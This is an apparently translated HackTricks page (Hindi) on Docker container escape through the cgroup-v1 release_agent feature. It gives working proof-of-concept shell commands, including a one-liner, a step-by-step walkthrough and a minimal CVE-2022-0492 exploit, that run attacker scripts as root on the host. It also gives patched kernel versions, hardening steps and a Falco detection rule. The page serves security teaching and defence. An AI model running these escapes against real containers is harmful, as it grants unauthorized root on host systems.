Docker release_agent cgroups escape
Reading time: 6 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
अधिक जानकारी के लिए, कृपया मूल ब्लॉग पोस्ट** को देखें।** यह केवल एक सारांश है:
Classic PoC (2019)
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
The PoC cgroup-v1 release_agent फीचर का दुरुपयोग करता है: जब एक cgroup का अंतिम कार्य जो notify_on_release=1 है, समाप्त होता है, तो कर्नेल (होस्ट पर प्रारंभिक नामस्थान में) उस प्रोग्राम को निष्पादित करता है जिसका पथ नाम लिखने योग्य फ़ाइल release_agent में संग्रहीत होता है। क्योंकि वह निष्पादन होस्ट पर पूर्ण रूट विशेषाधिकार के साथ होता है, फ़ाइल तक लिखने की पहुंच प्राप्त करना एक कंटेनर से बाहर निकलने के लिए पर्याप्त है।
संक्षिप्त, पठनीय वॉक-थ्रू
- एक नया cgroup तैयार करें
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp # या –o memory
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
release_agentको होस्ट पर हमलावर-नियंत्रित स्क्रिप्ट की ओर इंगित करें
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
- पेलोड छोड़ें
cat <<'EOF' > /cmd
#!/bin/sh
ps aux > "$host_path/output"
EOF
chmod +x /cmd
- नोटिफायर को ट्रिगर करें
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # खुद को जोड़ें और तुरंत बाहर निकलें
cat /output # अब होस्ट प्रक्रियाएँ शामिल हैं
2022 कर्नेल भेद्यता – CVE-2022-0492
फरवरी 2022 में यिकी सुन और केविन वांग ने खोजा कि कर्नेल ने cgroup-v1 में release_agent पर प्रक्रिया द्वारा लिखे जाने पर क्षमताओं की पुष्टि नहीं की (कार्य cgroup_release_agent_write)।
प्रभावी रूप से कोई भी प्रक्रिया जो cgroup पदानुक्रम को माउंट कर सकती थी (जैसे unshare -UrC के माध्यम से) वह प्रारंभिक उपयोगकर्ता नामस्थान में CAP_SYS_ADMIN के बिना release_agent पर एक मनमाना पथ लिख सकती थी। एक डिफ़ॉल्ट-कॉन्फ़िगर, रूट-चलाने वाले Docker/Kubernetes कंटेनर पर इससे अनुमति बढ़ाने की अनुमति मिली:
- होस्ट पर रूट तक विशेषाधिकार वृद्धि; ↗
- कंटेनर को बिना विशेषाधिकार के बाहर निकलना।
इस दोष को CVE-2022-0492 (CVSS 7.8 / उच्च) सौंपा गया और निम्नलिखित कर्नेल रिलीज़ (और सभी बाद के) में ठीक किया गया:
- 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299।
पैच कमिट: 1e85af15da28 "cgroup: Fix permission checking"।
कंटेनर के अंदर न्यूनतम शोषण
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
apk add --no-cache util-linux # provides unshare
unshare -UrCm sh -c '
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
echo 1 > /tmp/c/notify_on_release;
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
while true; do sleep 1; done
'
यदि कर्नेल कमजोर है तो होस्ट से busybox बाइनरी पूर्ण रूट के साथ निष्पादित होती है।
हार्डनिंग और शमन
- कर्नेल को अपडेट करें (≥ संस्करण ऊपर)। पैच अब
release_agentपर लिखने के लिए प्रारंभिक उपयोगकर्ता नामस्थान मेंCAP_SYS_ADMINकी आवश्यकता है। - cgroup-v2 को प्राथमिकता दें – एकीकृत पदानुक्रम
release_agentसुविधा को पूरी तरह से हटा दिया गया है, इस प्रकार के भागने को समाप्त कर दिया गया है। - उन होस्ट पर अव्यवस्थित उपयोगकर्ता नामस्थान को अक्षम करें जिन्हें उनकी आवश्यकता नहीं है:
sysctl -w kernel.unprivileged_userns_clone=0
- अनिवार्य पहुंच नियंत्रण: AppArmor/SELinux नीतियां जो
/sys/fs/cgroup/**/release_agentपरmount,openatको अस्वीकार करती हैं, याCAP_SYS_ADMINको गिराती हैं, कमजोर कर्नेल पर भी तकनीक को रोक देती हैं। - पढ़ने के लिए केवल बाइंड-मास्क सभी
release_agentफ़ाइलें (Palo Alto स्क्रिप्ट उदाहरण):
for f in $(find /sys/fs/cgroup -name release_agent); do
mount --bind -o ro /dev/null "$f"
done
रनटाइम पर पहचान
Falco v0.32 से एक अंतर्निहित नियम के साथ आता है:
- rule: Detect release_agent File Container Escapes
desc: Detect an attempt to exploit a container escape using release_agent
condition: open_write and container and fd.name endswith release_agent and
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
thread.cap_effective contains CAP_SYS_ADMIN
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
priority: CRITICAL
tags: [container, privilege_escalation]
नियम किसी भी लेखन प्रयास पर ट्रिगर होता है */release_agent से एक प्रक्रिया के अंदर एक कंटेनर में जो अभी भी CAP_SYS_ADMIN रखता है।
संदर्भ
- Unit 42 – CVE-2022-0492: container escape via cgroups – विस्तृत विश्लेषण और शमन स्क्रिप्ट।
- Sysdig Falco rule & detection guide
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks